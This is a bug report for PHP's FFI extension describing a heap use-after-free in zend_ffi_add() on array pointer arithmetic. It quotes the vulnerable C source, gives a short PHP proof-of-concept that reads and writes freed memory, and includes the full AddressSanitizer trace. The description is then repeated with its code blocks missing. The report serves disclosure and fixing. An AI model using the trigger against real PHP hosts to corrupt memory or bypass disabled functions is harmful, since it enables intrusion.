Description
Summary
When pointer arithmetic is performed on an owned FFI\CData array object ($base + N), zend_ffi_add() creates a new FFI\CData object whose ptr_holder stores the computed address inside the base's C allocation. No reference is held from the new object back to the base, OBJ_ADDREF is never called and ZEND_FFI_FLAG_OWNED is not propagated.
When the base object is GC'd, zend_ffi_cdata_dtor frees the underlying C allocation via pefree(cdata->ptr, ...). The offset CData's ptr_holder field then holds a dangling pointer into the freed region. Any subsequent FFI read or write through the offset CData constitutes a UAF on that freed allocation.
The bug applies to the array case (base_type->kind == ZEND_FFI_TYPE_ARRAY) where ptr = (char*)base_cdata->ptr is the direct allocation address. The pointer case (ZEND_FFI_TYPE_POINTER) is not affected because ptr is derived by dereferencing the pointer value, which points to C memory not owned by the base FFI\CData.
Vulnerable Source Code
// ext/ffi/ffi.c:1808-1861 -- zend_ffi_add, array case
static zend_object* zend_ffi_add(zend_ffi_cdata *base_cdata,
zend_ffi_type *base_type,
zend_long offset)
{
zend_ffi_cdata *cdata =
(zend_ffi_cdata*)zend_ffi_cdata_new(zend_ffi_cdata_ce);
if (base_type->kind == ZEND_FFI_TYPE_POINTER) {
...
ptr = (char*)(*(void**)base_cdata->ptr); // dereference pointer -- C memory, safe
} else {
/* ARRAY case */
...
ptr = (char*)base_cdata->ptr; // line 1854: address of owned allocation
}
cdata->ptr = &cdata->ptr_holder; // line 1856
cdata->ptr_holder = ptr + // line 1857: raw offset into base's buffer
(ptrdiff_t)(offset * ZEND_FFI_TYPE(ptr_type)->size);
cdata->flags = base_cdata->flags // line 1859: OWNED not included
& ZEND_FFI_FLAG_CONST;
return &cdata->std; // no OBJ_ADDREF(base_cdata)
}
// ext/ffi/ffi.c:2407-2417 -- destructor frees base's allocation
static void zend_ffi_cdata_dtor(zend_ffi_cdata *cdata)
{
zend_ffi_type_dtor(cdata->type);
if (cdata->flags & ZEND_FFI_FLAG_OWNED) {
if (cdata->ptr != (void*)&cdata->ptr_holder) {
pefree(cdata->ptr, ...); // frees base's array allocation
} else {
pefree(cdata->ptr_holder, ...);
}
}
}
// ext/ffi/ffi.c:3953-3966 -- FFI::new sets OWNED on base
ptr = pemalloc(type->size, ...);
cdata->ptr = ptr; // direct pointer, != &ptr_holder
cdata->flags = ZEND_FFI_FLAG_OWNED; // -> pefree(cdata->ptr) on dtor
How to Trigger
<?php
$ffi = FFI::cdef('');
$base = $ffi->new('int[10]');
$offset = $base + 2;
unset($base);
var_dump($offset[0]);
$offset[0] = 0x41414141;
Command:
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f7/poc.php
Output:
=================================================================
==90394==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000078558 at pc 0x00010481b4f8 bp 0x00016ba5bca0 sp 0x00016ba5bc98
READ of size 4 at 0x604000078558 thread T0
#0 0x00010481b4f4 in zend_ffi_cdata_to_zval ffi.c:571
#1 0x0001047c6d30 in zend_ffi_cdata_read_dim ffi.c:1438
#2 0x000105b1d120 in zend_fetch_dimension_address_read zend_execute.c:3178
#3 0x000105f15cd8 in zend_fetch_dimension_address_read_R_slow zend_execute.c:3220
#4 0x000105deb38c in ZEND_FETCH_DIM_R_SPEC_CV_CONST_TAILCALL_HANDLER zend_vm_execute.h:94497
#5 0x000105b2bc64 in execute_ex zend_vm_execute.h:110168
#6 0x000105b2c5f8 in zend_execute zend_vm_execute.h:115586
#7 0x0001060fee20 in zend_execute_script zend.c:1971
#8 0x000105758aa4 in php_execute_script_ex main.c:2646
#9 0x000105759014 in php_execute_script main.c:2686
#10 0x0001061055dc in do_cli php_cli.c:947
#11 0x000106103b9c in main php_cli.c:1370
#12 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
0x604000078558 is located 8 bytes inside of 40-byte region [0x604000078550,0x604000078578)
freed by thread T0 here:
#0 0x000109380f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
#1 0x0001059c6d0c in __zend_free zend_alloc.c:3571
#2 0x0001059caa20 in _efree zend_alloc.c:2788
#3 0x000104822688 in zend_ffi_cdata_dtor ffi.c:2412
#4 0x0001047c509c in zend_ffi_cdata_free_obj ffi.c:2468
#5 0x00010607e800 in zend_objects_store_del zend_objects_API.c:193
#6 0x0001060e49fc in rc_dtor_func zend_variables.c:56
#7 0x000105e7dfbc in ZEND_UNSET_CV_SPEC_CV_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:101914
#8 0x000105b2bc64 in execute_ex zend_vm_execute.h:110168
#9 0x000105b2c5f8 in zend_execute zend_vm_execute.h:115586
#10 0x0001060fee20 in zend_execute_script zend.c:1971
#11 0x000105758aa4 in php_execute_script_ex main.c:2646
#12 0x000105759014 in php_execute_script main.c:2686
#13 0x0001061055dc in do_cli php_cli.c:947
#14 0x000106103b9c in main php_cli.c:1370
#15 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
previously allocated by thread T0 here:
#0 0x000109380e24 in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54e24)
#1 0x0001059cb030 in __zend_malloc zend_alloc.c:3543
#2 0x0001059ca8f4 in _emalloc zend_alloc.c:2778
#3 0x0001047abd88 in zim_FFI_new ffi.c:3953
#4 0x000105db5e38 in ZEND_DO_FCALL_SPEC_RETVAL_USED_TAILCALL_HANDLER zend_vm_execute.h:54920
#5 0x000105b2bc64 in execute_ex zend_vm_execute.h:110168
#6 0x000105b2c5f8 in zend_execute zend_vm_execute.h:115586
#7 0x0001060fee20 in zend_execute_script zend.c:1971
#8 0x000105758aa4 in php_execute_script_ex main.c:2646
#9 0x000105759014 in php_execute_script main.c:2686
#10 0x0001061055dc in do_cli php_cli.c:947
#11 0x000106103b9c in main php_cli.c:1370
#12 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
SUMMARY: AddressSanitizer: heap-use-after-free ffi.c:571 in zend_ffi_cdata_to_zval
Shadow bytes around the buggy address:
0x604000078280: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x604000078300: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 00
0x604000078380: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x604000078400: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x604000078480: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
=>0x604000078500: fa fa 00 00 00 00 00 fa fa fa fd[fd]fd fd fd fa
0x604000078580: fa fa fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x604000078600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000078680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000078700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000078780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==90394==ABORTING
[1] 90394 abort USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f7/poc.php
Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-rfj7-84rv-8j4h is not part of PHP's threat model (which is wrong, but that's not my call).
"Please stop spamming the security tracker with trivial UAF bugs. In particular, this is FFI, which intentionally binds the lifetime of a CData to its value and derived values."
PHP Version
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
Operating System
No response
Description
Summary
When pointer arithmetic is performed on an owned
FFI\CDataarray object ($base + N),zend_ffi_add()creates a newFFI\CDataobject whoseptr_holderstores the computed address inside the base's C allocation. No reference is held from the new object back to the base,OBJ_ADDREFis never called andZEND_FFI_FLAG_OWNEDis not propagated.When the base object is GC'd,
zend_ffi_cdata_dtorfrees the underlying C allocation viapefree(cdata->ptr, ...). The offset CData'sptr_holderfield then holds a dangling pointer into the freed region. Any subsequent FFI read or write through the offset CData constitutes a UAF on that freed allocation.The bug applies to the array case (
base_type->kind == ZEND_FFI_TYPE_ARRAY) whereptr = (char*)base_cdata->ptris the direct allocation address. The pointer case (ZEND_FFI_TYPE_POINTER) is not affected becauseptris derived by dereferencing the pointer value, which points to C memory not owned by the baseFFI\CData.Vulnerable Source Code
How to Trigger
Command:
Output:
PHP Version
Operating System
No response